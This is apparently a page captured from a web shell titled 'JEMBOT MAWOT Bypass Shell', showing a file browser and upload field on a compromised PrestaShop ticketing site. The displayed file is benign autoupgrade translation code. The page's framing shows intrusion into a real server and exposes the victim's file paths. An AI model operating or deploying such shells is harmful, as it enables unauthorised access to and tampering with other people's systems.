JEMBOT MAWOT Bypass Shell

Current Path : /home/cinepatreb/billetterie/modules/autoupgrade/classes/UpgradeTools/
Upload File :
Current File : /home/cinepatreb/billetterie/modules/autoupgrade/classes/UpgradeTools/Translator.php

<?php

namespace PrestaShop\Module\AutoUpgrade\UpgradeTools;

use SimpleXMLElement;

class Translator
{
    const DEFAULT_LANGUAGE = 'en';
    /**
     * @var array<string,string>
     */
    private $translations = [];

    /** @var string */
    private $locale;

    /** @var string */
    private $translationsFilesPath;

    /**
     * @param string $translationsFilesPath
     * @param string $locale
     */
    public function __construct($translationsFilesPath, $locale = self::DEFAULT_LANGUAGE)
    {
        $this->locale = $locale;
        $this->translationsFilesPath = $translationsFilesPath;
    }

    /**
     * Load translations from XLF files.
     *
     * @return void
     *
     * @throws \Exception
     */
    private function loadTranslations()
    {
        // use generic language file (e.g., fr)
        $path = $this->translationsFilesPath . "ModulesAutoupgradeAdmin.{$this->locale}.xlf";
        if (file_exists($path)) {
            $this->loadXlfFile($path);
        }
    }

    /**
     * Load translations from a specific XLF file.
     *
     * @param string $filePath path to the XLF file
     *
     * @return void
     *
     * @throws \Exception
     */
    private function loadXlfFile($filePath)
    {
        $xml = new SimpleXMLElement(file_get_contents($filePath));
        foreach ($xml->file as $file) {
            foreach ($file->body->{'trans-unit'} as $unit) {
                $this->translations[(string) $unit->source] = (string) $unit->target;
            }
        }
    }

    /**
     * Translate a string to the current language.
     *
     * @param string $id
     * @param array<int|string, mixed> $parameters
     * @param string|null $domain
     * @param string|null $locale
     *
     * @return string Translated string with parameters applied
     */
    public function trans($id, array $parameters = [], $domain = null, $locale = null)
    {
        if (empty($this->translations)) {
            try {
                $this->loadTranslations();
            } catch (\Exception $e) {
                return $id;
            }
        }
        $translated = isset($this->translations[$id]) ? $this->translations[$id] : $id;

        return $this->applyParameters($translated, $parameters);
    }

    /**
     * @param string $id
     * @param array<int|string, string> $parameters
     *
     * @return string Translated string with parameters applied
     *
     * @internal Public for tests
     */
    public function applyParameters($id, array $parameters = [])
    {
        // Replace placeholders for non-numeric keys
        foreach ($parameters as $placeholder => $value) {
            if (is_int($placeholder)) {
                continue;
            }
            $id = str_replace($placeholder, $value, $id);
            unset($parameters[$placeholder]);
        }

        if (!count($parameters)) {
            return $id;
        }

        return call_user_func_array('sprintf', array_merge([$id], $parameters));
    }

    /**
     * @return string
     */
    public function getLocale()
    {
        return $this->locale;
    }
}

xxxxx1.0, XXX xxxx